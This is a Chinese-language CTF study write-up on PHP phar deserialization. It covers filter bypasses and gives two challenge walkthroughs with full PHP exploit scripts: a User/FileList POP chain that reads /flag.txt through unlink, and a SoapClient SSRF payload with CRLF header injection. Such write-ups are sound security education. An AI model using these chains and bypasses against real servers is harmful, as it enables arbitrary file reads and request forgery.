phar反序列化学习

前言

phar相关知识有很多大佬已经总结过了,可以参考下面文章来学习:

https://xz.aliyun.com/t/6258
https://xz.aliyun.com/t/3692
https://blog.zsxsoft.com/post/38
https://paper.seebug.org/680/

phar文件是一种压缩文件,不需要解压即可以运行php应用。用户自定义的meta-data会以序列化形式存储在phar文件中的manifest部分;当使用phar://协议来解析phar文件时,便会对phar文件中的manifest部分进行反序列化。其反序列化原因是,在PHP源码phar.c#618处,调用了:

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

利用条件:

  • 目标服务器存在我们构造的phar文件
  • 可以利用已存在类的魔法方法
  • 存在IO操作来触发phar://,常见的有PHP的file_get_contentsunlinkfinfo_file,Mysql的LOAD DATA INFILE等等

一些绕过方法:

1.限制phar://不能出现在开头

可以使用PHP协议流绕过:

compress.zlib://phar://./test.phar
compress.bzip2://phar://./test.phar
php://filter/resource=phar://./test.phar

2.限制文件格式

(1)在解析phar文件时,对文件的后缀名是没有要求的,因此后缀可任意更改

(2)phar文件的扩展识别标志为xxx<?php xxx; __HALT_COMPILER();?>,对此标志前的内容没有要求,因此可在此标志前添加任意的其他类型文件标志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class User{
var $name;
function __destruct(){
echo "fangzhang";
}
}

@unlink("test.phar");
$phar = new Phar("test.phar"); //生成文件名,生成时后缀必须为.phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置扩展标志,在其前增加GIF格式标志
$o = new User();
$o->name = "test123";
$phar->setMetadata($o); //自定义meta-data
$phar->addFromString("test.txt", "test"); //添加压缩文件
$phar->stopBuffering();
?>

下面通过做两道题目来体会phar反序列化的利用

CISCN2019华北赛区 Day1 Web1

注册账号登录,主要功能有上传文件、删除、下载,下载文件时抓包,发现可以进行任意文件下载:

获取源码:

index.php
delete.php
class.php
upload.php
download.php

在upload.php中发现其对文件检测为Content-Type白名单,并会根据Content-Type将文件后缀改为其相应格式:

在download.php中,对读取文件目录进行了限制,并对下载的文件名进行了检测:

在class.php中定义了三个类,查找可利用的地方,在User类中找到:

在FileList类中存在__call方法:

当对象调用一个不存在的方法时便会触发__call,例如:

在File类中存在close方法,里面定义了file_get_contents()函数

利用思路为:使User类中的$db为FileList对象,那么User对象销毁时会调用FileList->close(),由于User类中不存在close()方法,那么会调用FileList中的__call方法,那么此时__call方法中的参数$func为close();再来看下__call方法前的构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
//去除掉scnadir得到的结果数组中的 . 和 ..
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
//遍历文件名,新建File对象,并将每个对象存放到$this->files中
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
//遍历File对象并调用$func方法
$this->results[$file->name()][$func] = $file->$func();
}
}

那么当调用close方法时,便会调用File类中的close方法,会使用file_get_contents()来获取文件内容,获取的内容会返回给results,并在销毁对象时会将结果输出到网页中:

因此只要控制$path,便会得到该目录下文件的内容,但是$path是以构造方法的形参出现在构造方法中的,序列化时只会存储类名和类的属性,因此我们无法控制$path,但是可以对FileList类中的$files进行赋值,从而控制需要读取的文件;

构造phar文件后需要找到可利用点,发现在delete.php中调用了unlink函数,那么此处即为触发点。解题步骤:

1.构造phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class User {
public $db;
}

class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

2.上传文件时更改Content-Type为白名单中的类型,如image/jpeg

3.在删除文件时抓包,使用phar协议

SUCTF2019 Upload Labs2

主要有两个功能,上传文件和根据文件名查看文件格式;题目给出了源码,下面来进行分析

首先index.php中限制了上传文件的后缀和大小:

check()方法会检测文件的内容,不能存在<?

func.php中限制了提交的文件名开头中的伪协议:

之后会调用class.php中File类中的getMIME()方法来获取文件类型,其通过调用finfo_file()函数来获取:

在admin.php中,限制了ip为127.0.0.1,并且Ad类中存在__destruct方法,触发时会将flag打到POST过去的ip和port上:

function __destruct(){
    getFlag($this->ip, $this->port)
}

那么可以想到利用思路为:构造上传phar文件,在获取文件类型的地方利用finfo_file()和phar协议来触发反序列化,通过构造的SoapClient来进行SSRF请求,将flag打到vps上

发现class.php中的File类中的getMIME()方法上方有个__wakeup方法,里面使用了ReflectionClass,并且admin.php中Ad类中的check()方法也存在这种语句:

查资料了解到ReflectionClass反射类,它展示了一个类的有关信息;借助反射类我们可以获取类实现的方法、创建类的实例、调用方法、传递参数等;一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class Person {
public $name;
public function __construct($args)
{
$this->name = $args;
}

public function getName() {
echo $this->name;
}
}

$class = new ReflectionClass('Person'); //建立Person类的反射类
$instance = $class->newInstanceArgs(['gtfly']); //传递参数(必须为数组形式),实例化Person类
$instance->getName(); //执行getName方法

$method = $class->getMethod('getName'); //获取Person类的getName方法
$method->invoke($instance); //执行getName方法

$method = new ReflectionMethod('Person','getName'); //得到Person类的getName方法的信息
var_dump($method);

因此,构造使得class.php中的$this->funcSoapClient$this->file_name为构造的SoapClient请求,那么调用不存在的check()即可触发SSRF;在请求admin.php时,最后if语句中一步调用了Ad类中的check()方法,若想成功执行__wakeup方法进行反序列化,那么就要保证check()执行成功

这里可以直接用SPlStack类,该类为php实现栈数据类型的类,例:

1
2
3
4
5
6
<?php
$a = new SplStack();

$a->push(1); //入栈
$a->push(2);
var_dump($a);

测试结果:

在构造phar文件时需注意,由于phar文件扩展识别标志为<?php __HALT_COMPILER(); ?>,而index.php中对文件内容做了限制,不能出现<?,那么可以用<script language='php'></script>绕过;或者不以<?php开始也是可以的,因为扩展标志只要求以__HALT_COMPILER();?>结尾

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File{
public $file_name = array(null,array('user_agent'=>"test\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\nadmin=1&ip=127.0.0.1&port=666&clazz=SplStack&func1=push&func2=push&func3=push&arg1=1&arg2=1&arg3=1&",'location'=>'http://127.0.0.1/admin.php','uri'=>'123'));
public $func = "SoapClient";
}

$object = new File;
$phar->setMetadata($object);
$phar->stopBuffering();

改后缀为jpg后,使用php://filter绕过检测进行读取:

php://filter/resource=phar://...

当然这种做法只是非预期解,预期解是用rouge mysql来读取flag的,抽时间再琢磨琢磨

小结

可以发现,phar使用起来并不难,难的地方是在于找到触发点和可利用的类和方法来构造利用链。看大佬文章和wp顺着思路做了一遍,还是学到了不少姿势滴~wtcl-_-